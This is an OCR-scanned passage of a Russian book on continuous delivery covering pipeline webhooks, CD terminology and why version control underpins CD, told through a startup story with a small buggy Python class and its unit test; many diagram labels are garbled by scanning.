Веб-хук Тофера запускает пайплайн: проис
ходит сбой! 

Веб-хук Тофера отправляет электронное письмо Анжеле, 
сообщая ей, что ее изменение привело к сбою пайплайна. 

События системы контроля версий и веб-хуки 
берут на себя всю работу, которую раньше вы
полнял Тофер. Теперь он может спокойно зани
маться тем, чем действительно хочет !  

�Словарик 
Вызов веб-хука системой 
контроля версий при на
ступлении определенного 
события часто называют за
пуском, или срабатыванием 
(triggering) пайплайна. 

Обязательно ли самому писать веб-хуки, как Тофер? 

Опять же нет! Мы используем Python, чтобы показать, как работают системы 
CD в целом, но их не обязательно создавать самому, можно выбрать одну из 
существующих систем CD, перечисленных в приложениях в конце книrи. Под
держка веб-хуков - ключевая функция, на которую следует обращать внимание 
при выборе системы CD! 
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Не отправляйте изменения п ри сбое 
пай плайна 
У Тофера возникает еще несколько проблем. Рассмотрим пару из них  сейчас, 
а остальные отложим до главы 7. Что, если Анжела внесла изменение и не успела 
исправить его до того, как было внесено другое изменение? 

понедельни к  
Веб-хук Тофера отправляет электронное 
письмо Анжеле, сообщая ей, что после ее 
изменения произошел сбой пайплайна. 

9 : 1 5 :  Анжела начинает устранять проблему. 

9:20: Сато отправляет свое изменение. 

Система контроля версий запускает веб-хук Тофера. 

Веб-хук Тофера запускает пайплайн: он снова не проходит, поскольку 
Анжела все еще исправляет проблему, которую вызвало ее изменение. 

Веб-хук Тофера отправляет электронное письмо Сато, сообщая ему, 
что его изменение привело к сбою пайплайна, хотя на самом деле 
виновата Анжела! 

Пока Анжела исправляет свою проблему, Сато отправляет изменение. Система дума
ет, что именно Сато стал причиной сбоя в работе пайплайна, но в действительности 
виновата Анжела, и поэтому бедняга Сато в замешательстве. 

Кроме того, каждое изменение, которое добавляется поверх существующей 
проблемы, потенциально может усложнить ее решение. Бороться с этим можно, 
соблюдая простое правило: 

Не отправлять изменения, когда произошел сбой пайплайна.  

Это правило можно реализовать в самой системе CD, а также путем отправки опове
щений о сбое пайплайна остальным разработчикам. Оставайтесь с нами до главы 7, 
и вы узнаете больше! 

Зачем вообще ждать сбоя пайплайна? 

Не лучше ли, если бы Анжела узнала о существовании проблемы до того, как 
отправить изменения? Так она могла бы устранить ее до отправки, и это не по
мешало бы работе Сато. Да, это определенно лучше! Мы вернемся к этой теме 
в следующей главе, а более подробно разберем ее в главе 7. 
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Непрерывная доставка для сайта Cat Picture 
Ура! Теперь мы знаем все о том, как организовать непрерывную доставку сайта Cat 
Picture: о пайплайне, который разработчики используют для своих сервисов, а также 
о том, как его автоматизировать и запустить. 

:1.. При Внесении изменения СОЗОаеWIСЯ 
собь1W1ие, инициирующее акW1и8аццю 
Веб-хука Тофера в сисW1еме 
конW1роля Версии.  

� 
2. Веб-хук Тофера, 
ЗаV\ущенныи на его 
рабочеи СW1анции ,  
зaV\ycкaeWI V\аиV\лаин. 

Q 
� 

Реп 
сервисов 

1 Выполнение 
с;> интеграционных 

Реп 
сервисов 

3. ПаиV\лаин 8ЫV\ОЛНЯеWIСЯ. 
В случае ошибкц Вымл 
нения задачи весь 
V\аиV\лаин осW1ана8ли -
8аеW1ся со сбоем. 

и юнит-тестов 

Загрузка образа 
в реестр 

Обновление 
текущего сервиса 

для подгрузки 
нового образа 

Обязательно ли запу

скать веб-хуки прямо на 

своей рабочей станции ? 
Нет. В главе 9 мы узнаем, 
почему не стоит делать 
этого; кроме того, запуск 
веб-хуков - это еще одна 
функция, которую боль
шинство систем CD вы
полняют самостоятельно. 

4. Если V\роизошел сбои 
V\аимаина, Веб-хук Тофера 
OW1V\pa8ляeW1 элекW1ронное 
V\IACbMo WloMy, KWIO Внес 
изменение, вызвавшее сбои. 
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Ка к  насчет терминологи и? 
Начав работать с инструментами CD, вы можете встретить термины, отличные от 
тех, которые мы использовали в этой главе и будем использовать в дальнейшем. 
Ниже представлены термины, относящиеся к непрерывной доставке, и их варианты, 
которыми мы будем пользоваться: 

События (events) и триггеры (triggers) 
иногда используются как взаимозаменяемые 
понятия; иногда слово «триггер» относится 

к комбинации события и действия, 
которое необходимо предпринять. 

� 
В•б-хуки - это обычно пропо "б-хуки-J • • • ! � Машины, на которых 

выполняются пайплайны, 
можно называть так: 

Задачи могут называться : � • 'адачами (t"k•) "--- г l • этапами (stages) А • заданиями (jobs) 

сборками, или билдами (builds) .!], • шагами* (steps) 
в 

* Иногда задачи разбиваются 
на еще более мелкие части, 
которые также называют шагами. 

Система CD, которая 
объединяет все перечис
ленное выше, может 
называться : • СD-платформой • платформой CI/CD • сервером автоматизации • сервером сборки Уведомления иногда 

также называют 
событиями. 

• узлы (nodes) 

раннеры, или средства 
запуска (runners) • исполнители (executors) • агенты (agents) 

� 
Пайплайны могут 
называться: • пайплайнами • рабочими процессами 

Поскольку большая 
часть этого процесса 
автоматизации изна-
чально разрабатывалась 
для сборки кода в испол
няемые файлы, термин 
«сборка» (билд) прижился 
и может использоваться 
для обозначения задач, 
пайплайнов или даже ком
бинаций <<Триггер + задача + 
пайплайю> .  
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Закл ючение 
Пайплайн, используемый сервисами сайта Cat Picture, содержит все структурные 
элементы, типичные для большинства пайплайнов CD. Рассмотрев, как команда сай
та Cat Picture работает с пайплайном, мы поняли, насколько автоматизация важна 
для масштабирования CD, особенно по мере роста компании. В следующей части 
книги мы подробно рассмотрим каждый элемент пайплайна и то, как использовать 
их совместно. 

Итоги 
• В этой книге термины «пайплайны» и «задачи» используются для обозначения 

основных структурных элементов CD, которые могут называться по-разному. 

• Задачи похожи на функции. Задачи также могут называться этапами, заданиями, 
сборками (билдами) и шагами. 

• Пайплайны - это механизмы управления, объединяющие задачи. Пайплайны 
также могут называться рабочими процессами. 

• Основными составляющими пайплайна CD являются линтинг (статический 
анализ) ,  тестирование, сборка, доставка и развертывание. 

• Линтинг и тестирование - это шлюзы (они же задачи непрерывной интеграции), 
а сборка, доставка и развертывание - это преобразования. 

• Системы контроля версий предоставляют такие инструменты, как события 
и веб-хуки, позволяющие автоматизировать выполнение пайплайна. 

• Когда в пайплайне происходит сбой, следует прекратить внесение изменений! 

Далее . . .  
В следующей главе мы рассмотрим, почему в непрерывной доставке важен контроль 
версий и почему все текстовые данные, из которых состоит программа, должны 
храниться в системе контроля версий. Эту практику часто называют «конфигурация 
как код» (config-as-code) . 
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Часть 2 
Поддержа н ие ПО в состоя н и и  

готовности к доста вке 

•••••••••••••••••••••••••••••••••••••••• 1 
Изучив основные понятия непрерывной доставки, узнаем, как поддерживать ПО 
в постоянной готовности к доставке с помощью непрерывной интеграции. 

Глава 3 рассказывает о том, насколько важную роль играет система контроля 
версий при непрерывной доставке; без управления версиями непрерывная доставка 
невозможна. 

В главе 4 рассматривается мощный, но редко обсуждаемый элемент непрерывной 
интеграции - статический анализ, в частности линтинг, и то, как его применять 
к унаследованному коду. 

Главы 5 и 6 посвящены тестированию: ключевому элементу проверки при непре
рывной интеграции. Мы не будем учить вас проводить тестирование (этой теме по
священо огромное количество литературы) ,  а сосредоточимся на распространенных 
проблемах, которые со временем накапливаются в наборах тестов, в частности на 
медленной и нестабильной их работе; 

В главе 7 рассматривается жизненный цикл изменения кода и исследуются все 
точки, где могут возникнуть баги. Вы узнаете, как настроить систему автоматизации 
на поиск и устранение багов по мере их появления . 

• • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • 
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3 Контрол ь верси й -
еди нствен но верн ы й путь 

• •••••••••••••••••••••••••••••••••••••••• 

В этой rnaвe 

./ Почему для СО необходим контроль версий 

./ Как поддерживать ПО в готовом к релизу состоянии 

за счет сохранения системы контроля версий 

в зеленом режиме и запуска пайплайнов на основе 

изменений в этой системе 

.,- Что такое «конфигурация как код» (config-as-code) 

./ Автоматизация путем хранения всей конфигурации 

в системе контроля версий 

••••••••••••••••••••••••••••••••••••••••••••••••••••••••••• 

Мы начнем наше путешествие по миру непрерывной доставки с самого начала, то 
есть с инструмента, который лежит в основе абсолютно всего, что мы будем делать 
дальше, а именно с системы контроля версий. В этой главе вы узнаете, почему управ
ление версиями имеет решающее значение для CD и как его использовать, чтобы 
обеспечить успех себе и своей команде. 

Книги для программистов: https://t.me/booksforits



Стартап Саш и и Сары 
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Недавние выпускники университета Саша и Сара только что получили финанси
рование на реализацию амбициозного стартапа: сайта социальной сети Watch Ме 
Watch, в основе которой лежат предпочтения пользователей, касающиеся просмо
тра телепередач и фильмов. В сети Watch Ме Watch пользователи могут оценивать 
просмотренные фильмы и телешоу, видеть, что нравится их друзьям, и получать 
персональные рекомендации о том, что смотреть дальше. 

Саша и Сара должны обеспечить бесперебойное взаимодействие с пользователями, 
поэтому они объединяются с популярными стриминг-провайдерами. Пользовате
лям не придется долго и нудно добавлять в свой профиль просмотренные фильмы 
и шоу - весь этот контент будет автоматически загружаться в приложение! Прежде 
чем приступить к работе, Саша и Сара набросали общую схему желаемой архитектуры. 

Мобильное 

приложение 

АРl-сервис 

Сервис 

стриминговой -? 
интеграции 

Они собираются разбить логику бэкенда на три сервиса: 

• АРI-сервис Watch Ме Watch, который обрабатывает все запросы от фронтендов; 

• сервис пользователей, который хранит данные о пользователях; 

• сервис стриминговой интеграции, осуществляющий интеграцию с популярными 
стриминг-провайдерами.  

Саша и Сара также планируют создать два фронтенда для взаимодействия с Watch 
Ме Watch - веб-сайт и мобильное приложение. 
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Все виды данных 
С гордостью глядя на эту схему, нарисованную на новенькой маркерной доске, они 
понимают, что весь код, который они создают, нужно где-то размещать. Причем они 
оба будут вносить в него изменения, поэтому им потребуется определенная коор
динация. Они собираются создать три сервиса с примерно одинаковым дизайном 
и структурой: они написаны на языке Go и работают как запускаемые контейнеры. 

АРl-сервис 
Сервис 

пользователей 

Сервис 
стриминговой 

интеграции 

Они также запустят сайт и создадут и распространят мобильное приложение - оба 
этих продукта станут для пользователей средствами доступа к сервисам Watch Ме 
Watch. 

Мобильное 
приложение 

Данные для определения трех сервисов, приложения и веб-сайта будут включать 
в себя следующее: 

• исходный код и тесты, написанные на Go; 

• README и другие документы в формате Markdown; 

• определение образов контейнеров (файлы Dockerfile) для 
сервисов; 

• изображения для веб-сайта и мобильного приложения; 

• определение задач и пайплайнов для тестирования, сборки 
и развертывания. 

Для базы данных (которая будет работать в облаке) потребу
ется следующее: 

• схемы версионирования; 

• определение задач и пайплайнов для развертывания. 

Для подключения к потоковым сервисам, с которыми будут 
работать Саша и Сара, им также понадобятся АРI -ключи 
и информация о подключении. 
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Еще до того, как написать первую строчку кода, Саша и Сара, глядя на свою схему 
архитектуры и оценивая, что потребуется для каждого ее элемента, поймут, что им 
придется хранить большой объем данных: 

• исходный код; 

• тесты; 

• файлы Dockerfiles; 

• Markdown-фaйлы; 

• задачи и пайплайны; 

• схемы версий; 

• ключи API; 

• информацию о подключении. 

Это очень много! (И это еще для довольно простой системы! )  Но что общего у всех 
этих элементов? Все это данные. И если пойти чуть дальше, все они представляют 
собой простой текст.  

Несмотря на то что каждый из  этих элементов используется по-разному, все  они 
представляют собой простые текстовые данные. И когда вы работаете над созда
нием и поддержкой программ, как это собираются делать Саша и Сара, вам нужно 
каким-то образом всеми ими управлять. 

На помощь приходит система контроля версий. Эта система (также называе
мая контролем исходного кода) хранит данные и отслеживает их изменения. В ней 
хранятся все данные, необходимые продукту: исходный код, конфигурация, ис
пользуемая для его запуска, вспомогательные данные, такие как документация 
и скрипты, - все данные, необходимые для определения и запуска программы, 
а также для взаимодействия с ней. 

�Сnовари• 
Простые текстовые данные (plain text) - это данные в виде печатных (или 
человекочитаемых) символов. В контексте программного обеспечения простые 
текстовые данные часто противопоставляются двоичным данным, которые 
хранятся в виде последовательностей битов, не являющихся простым текстом. 
Проще говоря: простые текстовые данные - это удобочитаемые данные, а все 
остальное - двоичные данные. Систему контроля версий можно использовать 
для любых типов данных, но обычно она оптимизирована под простой текст, 
поэтому не очень хорошо справляется с двоичными данными. Это означает, 
что ее в принципе можно при желании использовать для хранения двоичных 
данных, но некоторые функции (например, отображение различий между из
менениями) не будут работать или будут работать некорректно. 
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Репозитории и версии 
Система контроля версий - это ПО для отслеживания изменений в простом тексте, 
где каждое изменение идентифицируется с помощью номера версии и называется 
коммитом, или ревизией. Система контроля версий продукта выполняет (по край
ней мере) следующие две функции: 

• Является централизованным местом для хранения всех данных, обычно назы
ваемым репозиторием (сокращенно - реп, или репа (repo)) .  

• Содержит историю всех изменений, причем каждое изменение (или набор из-
менений) приводит к созданию новой, однозначно идентифицируемой версии. 

Конфигурация и исходный код, необходимые для проектов, часто хранятся в не
скольких репозиториях. Один репозиторий для хранения всех данных используется 
достаточно редко и в этом случае называется монорепозиторием (или монорепой) .  

Саша и Сара решили использовать по одному репозиторию для каждого серви
са в своей архитектуре и определили, ч:то прежде всего создадут репозиторий для 
сервиса пользователей. 

Мобильное 
приложение 

t 
Реп 

мобильного 
приложения 

[::_] 
t 

Реп 
веб-сайта 

АРl-сервис 

Реп 
АРl-сервиса 

Сервис 
пользователей 

� 

t 
Реп сервиса 

пользователей 

В самом начале будеWI создvан _/ W\ОЛ/7КО ЭW\OW\ pel'\03U W\Opuu . 

Сервис 
стриминговой 

интеграции 

Реп сервиса 
стриминговой 

интеграции 

Непреры вная доставка и контроль верси й 
Система контроля версий - это основа непрерывной доставки. Я сторонник того, 
чтобы относиться к непрерывной доставке как к практике, по умолчанию приме
няемой в программной разработке (в той или иной мере) . Однако из этого правила 
есть одно исключение: если вы не используете систему контроля версий, вы не при -
меняете непрерывную доставку. 

Непрерывная доставка требует обязательного использования контроля 
версий. 
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Почему контроль версий так важен для непрерывной доставки? Вспомните условия 
непрерывной доставки: 

• безопасное внесение изменений в ПО в любое время; 

• максимально простая доставка ПО, буквально нажатием кнопки. 

В главе 1 мы рассматривали, что требуется для достижения первого условия, -
в частности, непрерывная интеграция, которую мы определили следующим образом: 

Непрерывная интеграция - это процесс, при котором объединение 
изменений кода происходит постоянно и каждое изменение проверяется при 
внесении. 

Мы не пояснили, что в данном случае означает термин «внесение изменений» (check
in) .  На самом деле мы уже неявно предположили, что система контроля версий ис
пользуется и «внесение» осуществляется в нее! Попробуем дать другое определение 
непрерывной интеграции, не предполагающее наличия контроля версий: 

Постоянный процесс внесения изменений в код, когда каждое изменение 
проверяется при добавлении его к уже имеющимся и проверенным 
изменениям. 

Из этого определения следует, что для непрерывной интеграции необходимы: 

• способ внесения изменений; 

• место для хранения (и добавления) изменений. 

А как мы храним и вносим все изменения в код? Совершенно верно, с помощью си
стемы контроля версий. Далее при обсуждении элементов, которые вам понадобятся 
при создании пайплайна непрерывной доставки, мы будем исходить из того, что 
все начинается с возможности отслеживать изменения в системе контроля версий. 

1 ' , 

' ,� � ВАЖНО 
Чтобы осуществлять непрерывную доставку, обязательно использовать си
стему контроля версий. 

',ф� ВАЖНО 
Разработка и поддержка программного обеспечения означает создание и ре
дактирование большого объема данных, в частности простых текстовых 
данных. Используйте систему контроля версий для хранения и отслеживания 
истории исходного кода и конфигурации, то есть всех данных, которые не
обходимы для определения создаваемого продукта. Храните данные в одном 
или нескольких репозиториях, где каждое изменение однозначно идентифи
цируется с помощью версий. 
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Git  и G itHu b  
Сара и Саша собираются использовать Git для 
контроля версий. Следующий вопрос - rде бу
дет размещен их репозиторий и как они будут 
с ним взаимодействовать. Сара и Саша соби
раются использовать GitHub для размещения 
этоrо и последующих создаваемых ими репо
зиториев. 

Git - это распределенная система контроля 
версий. Коrда вы клонируете (копируете) репо
зиторий на свой компьютер, вы получаете пол
ную копию всеrо репозитория, которую можно 
использовать независимо от удаленной версии. 
У нее даже история изменений отдельная. 

Сара создает первый репозиторий проекта 
на GitHub, а затем клонирует ero; таким образом 
на ее компьютере создается еще одна копия ре
позитория с теми же коммитами (сейчас их еще 
нет}, но она может вносить в нее изменения не
зависимо. Саша делает то же самое, теперь у них 
обоих есть клоны репозитория, над которыми 
они моrут работать независимо и использовать 
их для отправки (пуша, push) изменений обрат
но в общий репозиторий на GitHub. 

Какую систему контро
ля версий использовать ?  
На момент написания 
книrи широкой поддерж
кой и популярностью 
пользовался Git - отлич
ный выбор! 

Хотя для наших примеров 
мы используем GitHub, 
существуют и другие 
интересные варианты, со 
своими преимуществами 
и недостатками.  Обзор 
таких систем представлен 
в приложении В. 

Реп сервиса 
пользователей 

Реп сервиса 
пользователей 

� Клон 

PeJI\ но. CiitHub  

н а  KOMl'\t>IOWltpe 
1<.лониробо.ние создо.еW\ CaptJ1 
незо.6исим1:11е KOJ!\IA IA .  

Реп сервиса 
пользователей 

Клон 
на KOMl'\tJIOWltpe 

Саши 
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Управление конфигурацией ПО и исходным кодом 

Интересный факт! ПО для контроля версий является частью управления конфи
гурацией программного обеспечения (software configuration management, SCM) -
процесса отслеживания изменений в конфигурации, используемой для сборки 
и запуска создаваемого продукта. В этом контексте под словом конфигурация 
подразумевается подробная информация обо всех данных в репозитории, вклю
чая исходный код, но существует еще и управление конфигурацией компьютера, 
которое восходит как минимум к 1 970-м годам. Эта терминология вышла из 
употребления, и ей на смену пришли такие понятия, как «инфраструктура 
как код» и более позднее «конфигурация как код» (подробнее о них чуть далее) ,  
а аббревиатура SCM стала обозначать управление исходным кодом (source code 
management) .  В настоящее время SCM часто используется для обозначения 
системы контроля версий, а иногда и таких систем, как GitHub, которые пред
лагают управление версиями в сочетании с функциями отслеживания проблем 
и проверки кода. 

Первый коммит - с багом! 
Сара и Саша создали клоны репозитория сервиса пользователей и готовы к ра
боте. В порыве вдохновения Сара начинает работать над исходным классом User  
в репозитории .  Она  рассчитывает, что репозиторий сможет хранить все  фильмы, 
которые смотрел пользователь, и рейтинги, которые пользователь явно присва
ивал фильмам. 

Созданный ею класс U s e r  хранит имя пользователя, и она добавляет метод 
rate_movie, который будет вызываться, когда пользователь захочет оценить фильм. 
Метод берет название фильма, который нужно оценить, и рейтинг (в  процентах 
с плавающей точкой) ,  который нужно поставить фильму, и пытается сохранить их 
в объекте User ,  но в коде ошибка: он использует объект sel f .  ratings ,  но этот объ
ект нигде не инициализирован. 

c l a s s  User : 
def _init_( self,  name ) : 

self . name = name 

def rate_movie ( self,  movie ,  score ) : ./"' 
self . ratings [ movie ] = s core � 

Здесt> бо.z: сло6о.рt> sel  f .  ratings 
не ин1.щио.лизиро60.н, V\OЭW\OM!;I 
V\OV\t:>IWIKO. сохро.ниW\t:> 6 нем ключ 
6t:>1зo6eW1 исключение! 
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Сара внесла баг в этот код, однако она также написала юнит-тест, который отловит 
эту ошибку. Тест (test_rate_movie)  пытается оценить фильм, а затем проверяет, 
был ли добавлен рейтинг: 

def test_rate_movie ( self ) : 
u = User ( " sa rah " )  
u . rate_movie ( " j uras sic  park " ,  0 . 9 )  
self . a s sert E q ua l ( u . ratings [ " j uras sic  park " ] ,  0 . 9 )  

К сожалению, Сара забывает запу
стить тест перед тем, как коммитить 
новый код! Она добавляет эти изме
нения в свой локальный репозито
рий, создавая новый коммит с иден
тификатором abcd0123abcd0123.  Она 
коммитит его в главную ветку своего 
репозитория, а затем отправляет ком
мит обратно в главную ветку репози -
тория GitHub. 

Сара V1еремещаеW1 
сбою главную 
вeWIKY oopaWIHO 
в peMЗLl.WIOpцi:i 
ЦitНцЬ. TeV1ept:i 
Оаг нaxoдLl.WICЯ 
в главной веW\Ке 
ремЗIАW\Орця ЦitНцЬ1 

Реп сервиса 

пользователей 

Главная веWlка 
на ЦitНцЬ 

По умолчанию первая ветка, соз
даваемая в Git, называется главной 
(таiп) .  Данная ветка по умолчанию 
используется как источник истинь1 
(source of truth) - заслуживающая 
доверия версия кода, и все измене
ния в конечном итоге интегрируются 
в нее. Обсуждение других стратегий 

Реп сервиса 

пользователей 

Главная веW1ка 
у Capt:i1 

Эти идентифи
каторы при
ведены просто 
для примера; 
реальные 
идентификато
ры коммитов 
Git - это хеш 
SНА- 1 коммита. 

f<.oMMIAWlt>I: 
a b c d0123abcd0123  

f<.OMMLl.Wlt>I: 
� a b c d0123abcd0123  

� Словарик ������������������ 
Внесение изменений в одну ветку из другой ветки часто называют 
слиянием. Изменения Сары из ее главной ветки сливаются с главной 
веткой GitHub. 
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Нарушение работы главной ветки 
Вскоре после того, как Сара выложила свой новый код (и свой баг ! ) ,  Саша вытя
гивает (pull) главную ветку с GitHub в свой локальный репозиторий, подтягивая 
туда новый коммит. 

Реп сервиса 
пользователей 

Cawa вьtW\ЯгиваеW\ 
главную веW\КУ 
!АЗ pel'\OЗIAW\Opuя 
ЦitHub, 1'\ОдW\янув 
и новыи коммuW\ Сары. 

Реп сервиса 
пользователей 

Главная веW\ка на ЦitHub 

К.оММ!АW\Ь/: 
abcd0123abcd0123 

Главная веW\ка у Cawu 

К.оММ!АW\Ь/: 

Саша в восторге от изменений Сары: 

c l a s s  User : 
def _init_( self,  name ) : 

self . name = name 

� abcd0123abcd0123 

def rate_movie ( self,  movie ,  score ) : 
self . ratings [ movi e ]  = score 

Саша сразу же пробует применить их, но пытаясь использовать rate_movie,  он на
талкивается на баг и видит следующее сообщение об ошибке: 

Att ribut e E r ror : ' User ' object has no attribute ' ratings ' 

«Мне казалось, я видел, что Сара добавила юнит-тест для этого метода, - недоуме
вает Саша. - Как он может не работать?» 

def test_rate_movie ( self ) : 
u = User ( " sa rah " )  
u . rate_movie ( " j urassic  park " ,  0 . 9 )  
self . a s sertEqual ( u . ratings [ " j u ras si c  park " ] ,  0 . 9 )  

Саша запускает юнит-тест, и ,  увы, он тоже не проходит: 

Traceback  ( most recent call  last ) : 
F i le "test_user . py " ,  line  21 ,  in test_rate_movie 

u . rate_movie ( " j uras sic  park " ,  0 . 9 )  
F i le " test_user . py " , line  12 ,  i n  rate_movie 

self . ratings [ movi e ]  = score 
Attribut e E r ror : ' User ' object has  no attribute ' ratings ' 

Саша понимает, что код в репозитории GitHub не работает. 
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Отправка (push)  и вытя ги вание (pu l l )  
изменен ий 
Посмотрим еще раз на описанные выше отправку и вытягивание изменений. По
сле того как Сара внесла свои изменения и закоммитила их локально, репозитории 
стали выглядеть так: 

Реп сервиса 

пользователей 

Реп сервиса 

пользователей 

Реп сервиса 

пользователей 

Гло.бно.я беw.ко. у Со.щи Гло.бно.я беw.ко. но. ЦitНиЬ Гло.бно.я беw.ко. у Co.pt>t 
1<.оммимы: 1<.оммим111: 1<.оммим111: \ 
asdf4567a sdf4567 asdf4567asdf4567 abcd0123abcd0123 "--- Реl'\Ози мориu Со.ши но.ходиw.ся 1 

6 мом же сосмоянии ,  чмо / В реV1Озимории Со.ши 
и zло.6н111u реV1Озимориu CiitHub. но6111u коммим. 

Чтобы обновить репозиторий в GitHub с помощью своего коммита, Сара отправила 
коммит в удаленный репозиторий (то есть осуществила его слияние) . Git просмотрит 
содержимое и историю удаленного репозитория, сравнит его с локальной копией 
Сары и отправит (загрузит) все недостающие коммиты в репозиторий. После этого 
оба репозитория будут иметь одинаковое содержимое: 

Реп сервиса 

пользователей 

Гло.бно.я беw.ко. у Со.щи 

1<.оммим111: 
asdf4567asdf4567 

Pel'\Oзuмopuu Со.ши меV1.ер11 j 
«омсw.о.ем» ом zло.6ноzо / 
реl'\Озuw.ория CiitHub. 

Реп сервиса 

пользователей 

Реп сервиса 

пользователей 

Гло.бно.я беw.ко. но. ЦitНиЬ Гло.бно.я беw.ко. у Co.pt>t 
1<.оммиw.111: 1<.оммиw.111 :  
a b c d0123abcd0123 abcd0123a bcd0123 ' Pel'\Oзuмopuu Со.ши coow.6eмcw.6yew. _;t � zло.6ному реl'\Озuморию CiitHиb/ 

Чтобы Саша мог получить изменения Сары, он должен подтянуть главную ветку 
с GitHub. Git просмотрит содержимое и историю репозитория GitHub, сравнит его 
с локальной копией Саши и подтянет все недостающие коммиты в репозиторий Саши: 

Реп сервиса 

пользователей 

Гло.бно.я бемко. у Со.щи 

1<.омми м111 :  
a b c d0123abcd0123 

Реп сервиса 

пользователей 

Гло.бно.я беw.ко. но. ЦitНиЬ 

1<.омми м111 : 
a bcd0123abc d0123 

Реп сервиса 

пользователей 

Гло.бно.я беw.ко. у Co.pt>t 
1<.оммиw.111: 
abcd0123abcd0123 

Теперь во всех трех репозиториях одинаковые коммиты. Сара отправила новый 
коммит на GitHub, а Саша подтянул коммит оттуда. 

Книги для программистов: https://t.me/booksforits



Отправка (push) и вытягивание (pul l )  изменений 75 

� Зап рос на вытяrивание (pull  request, пул-реквест) 

Возможно, вы заметили, что Сара внесла свои изменения непосредственно 
в главную ветку репозитория на GitHub. Более безопасная стратегия - преду
смотреть промежуточный этап, на котором изменения «предлагаются» перед 
добавлением. Это дает возможность проверить изменения с помощью код
ревью и методов CI, прежде чем отправлять их. 

В этой главе мы рассмотрим инициирование непрерывной интеграции 
(CI) при отправке изменений в систему контроля версий, но в дальнейшем 
будем говорить о запуске CI до добавления изменений в главную ветку. 

Возможность предлагать, просматривать и проверять изменения осу
ществляется с помощью запросов на вытягивание, или пул-реквестов (часто 
обозначаемых аббревиатурой PR, pиll reqиest) , и в дальнейшем вы часто бу
дете встречать термин на страницах книги. (Подробнее об этом термине и о 
том, как используется PR в различных удаленных системах контроля версий, 
см. в приложении В.) 

Если бы Сара и Саша использовали PR, предыдущий процесс выглядел 
бы так: 

Реп сервиса 
пользователей 

Гло.Вно.я бе.мко. но. ЦitHub 

К.оммимьt: 
a sdf4567asdf4567 

Реп сервиса 
пользователей 

PeV\OЗUW\opuiA Co.ptJt 
с нoбtJtM KOMMUW\OM. Гло.Вно.Я Ве.мко. у Co.pt>t 

� К.оммимь�: 
abcd012 3abcd0123 

Вместо того чтобы отправлять свои изменения непосредственно в главную 
ветку GitHub, Сара открывает пул-реквест; она создает заявку с запросом на 
вытягивание ее изменений в главную ветку GitHub: 

Реп сервиса 
пользователей 

Гло.Вно.я Ве.мко. но. ЦitНиЬ 

К.оммимь�: 
asdf4567asdf4567 

Запрос на вытягивание 
коммита 

abcd0123abcd0123 
в главную ветку GitHub 

Реп сервиса 
пользователей 

' Гло.Вно.я Ве.мко. у Co.pti1 

Со.ро. создо.еW\ PR. ""' К.оммимь�: 
abc d0123abc d0123 

Это дает Саше возможность ознакомиться с изменениями и проверить их до 
того, как обновлять rлавную ветку GitHub. 
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Это действительно непрерывная доставка? 
Саша немного расстроен, узнав, что код сервиса пользователей в репозитории 
GitHub не работает, и обращается с этой проблемой к Саре. 

я СЧ/Атtн-о, нам сто1Ат"° ____ _ 
работать с неV1.рерывноiА 

доставко!А 1А V1.ервым делом 
V1.ровер1Ат1:>, что нащ код 

всегда готов к рел1Азу. Согласна. И думаю, 
ЧVVIO се!Ачас он к нему 

не готов, мтому 
Что Код в peV1.031A то -

р1А1А не paбoтaeVVI. 
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Поддержи ва йте возможность 
выпуска рел изов 
Сара и Саша поняли, что, позволяя коммитить 
нерабочий код в репозиторий сервиса пользо
вателей на GitHub, они нарушают один из двух 
принципов CD. Вспомните условия непрерывной 
доставки: 

• безопасное внесение изменений в ПО в любое 
время; 

• максимально простая доставка ПО, букваль
но нажатием кнопки. 

Доставку сервиса пользователей невозможно 
осуществить безопасно, пока не будет исправ
лена ошибка, сделанная Сарой. Это означает, 
что сервис не находится в состоянии, в котором 
доставка безопасна. 

Сара может исправить ошибку и быстро от
править коммит с исправлением, но как быть 
уверенным, что это не повторится? В конце кон
цов, Сара написала тест, который выявил про
блему, но этого оказалось недостаточно, чтобы 
избежать проникновения бага в репозиторий. 

Как бы Сара ни старалась, в будущем она 
опять может забыть запустить тесты перед ком-
митом, и Саша тоже. Ведь они, в конечном счете, 
всего лишь люди ! 

Разве неработающий 

код не будет оставаться 

всегда ? 

Вы никогда не сможете от
ловить все баги до единого, 
поэтому в каком-то смысле 
неработающий код всегда 
будет попадать в систему 
контроля версий. Глав-
ное - всегда поддерживать 
ее в таком состоянии, что
бы можно было уверенно 
выпускать репизы; случай
ные баги - обычное депо, 
задача в том, чтобы до 
минимума снизить необ-
ходимость отката и риски, 
связанные с релизом или 
развертыванием. Под
робнее о выпуске репизов 
читайте в главах 8 и 10. 

Саше и Саре необходимо обеспечить выполнение тестов. Если нужно что-то 
гарантировать, лучше всего это автоматизировать (по возможности) .  

Если вы поручаете людям задачи, которые должны быть выполнены без ошибок, 
то готовьтесь к тому, что ошибки все же иногда будут возникать - и это совершенно 
нормально, потому что люди так устроены! Позвольте им быть специалистами в сво
ем деле, а когда нужно гарантировать, что одно и то же действие будет выполняться 
каждый раз одинаково и без сбоев, применяйте автоматизацию. 

',ф� ВАЖНО 
Если вам необходимо гарантировать наступление какого-то события, исполь
зуйте автоматизацию. Люди не машины, и им свойственно ошибаться и за
бывать что-то сделать. Не обвиняйте человека в забывчивости, лучше найдите 
способ избавить его от необходимости помнить о задаче. 
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Срабатывание при изменениях в системе 
контроля версий 
Анализируя, почему репозиторий сервиса пользователей оказался в небезопасном 
состоянии, мы поймем, что Сара ошиблась не тогда, когда внесла баг в код, и даже 
не тогда, когда закоммитила его. Проблемы начались, когда она отправила нерабо
тающий код в удаленный репозиторий: 

nо -1'\режнему рабоW1аем с CD; , 
ои"нАОКи случаЮW\СЯ1 .____. 1 .  Сара пишет плохой код. 

Пока все в мрядке. И воW\ она зaOtJIM 
зaV1yCW11AW\tJ W\ecW\tJI; W\акое Oti1вaeW1. 2 . Сара коммитит код в своем 

--- репозитории .  

TeVlepti невозможно вtJIV\YCW\IAW\tJ OeЗOV\aCHtJIU 
релuз сервиса V\OЛtJЗoвaW\eЛeu, /А MtJI все 
далt�ще 0W1ходим oW\ V1рuнцимв CD. _-/ 

Bti1V1ycкaW1tJ релиз не W\OЛtJKO небезомсно, 

3 .  Сара отправляет коммит 
в репозиторий GitHub. 

но еще нuкW\о u не знаеWI, ЧW\О ЭW\О небезо -
4 Vlacнo. К.азалосt:� OtJI , разумно вtJIV\YCW\uW\tJ . Са�а пытается использовать 

